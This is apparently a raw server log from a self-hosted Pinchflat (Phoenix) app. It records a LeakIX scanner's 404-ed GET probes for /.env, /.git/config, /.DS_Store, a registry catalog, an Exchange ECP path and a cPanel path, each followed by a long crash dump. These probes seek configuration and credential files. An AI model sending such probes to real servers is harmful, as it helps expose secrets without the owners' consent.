PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36611.0>, params: %{}, path_info: ["___proxy_subdomain_cpanel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/___proxy_subdomain_cpanel", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMklQyaqDqiGoAAVnD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_cpanel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36611.0>, params: %{}, path_info: ["___proxy_subdomain_cpanel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], (truncated) 21:37:36.588 [info] GET /v2/_catalog 21:37:36.592 [info] Sent 404 in 4ms 21:37:36.592 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:37.580 [info] GET /.DS_Store 21:37:37.581 [debug] QUERY OK source="settings" db=0.3ms idle=578.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:37.582 [debug] QUERY OK source="settings" db=0.4ms idle=578.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:37.582 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:37.583 [error] #PID<0.36613.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 6) terminated Server: youtube.plexultra.com:80 (http) Request: GET /.DS_Store ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36613.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMkrjE_q07JaMAAVoD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36613.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.DS_Store", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 21:37:38.586 [info] GET /.env 21:37:38.588 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=1584.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:38.588 [debug] QUERY OK source="settings" db=0.3ms idle=1028.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:38.589 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:38.590 [error] #PID<0.36615.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 7) terminated Server: youtube.plexultra.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36615.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMkvTE6cJrRDwAAVoj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36615.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", (truncated) 21:37:40.601 [info] GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 21:37:40.603 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=1598.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:40.604 [debug] QUERY OK source="settings" db=0.3ms idle=1033.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:40.604 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:40.605 [error] #PID<0.36616.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 8) terminated Server: youtube.plexultra.com:80 (http) Request: GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36616.0>, params: %{}, path_info: ["ecp", "Current", "exporttool", "microsoft.exchange.ediscovery.exporttool"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMk2zXKVJFzlIAARGi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36616.0>, params: %{}, path_info: ["ecp", "Current", "exporttool", "microsoft.exchange.ediscovery.exporttool"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plex (truncated) 21:37:42.606 [info] GET /.git/config 21:37:42.608 [debug] QUERY OK source="settings" db=0.9ms queue=0.3ms idle=599.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:42.610 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=601.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:42.610 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:42.611 [error] #PID<0.36617.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 9) terminated Server: youtube.plexultra.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: 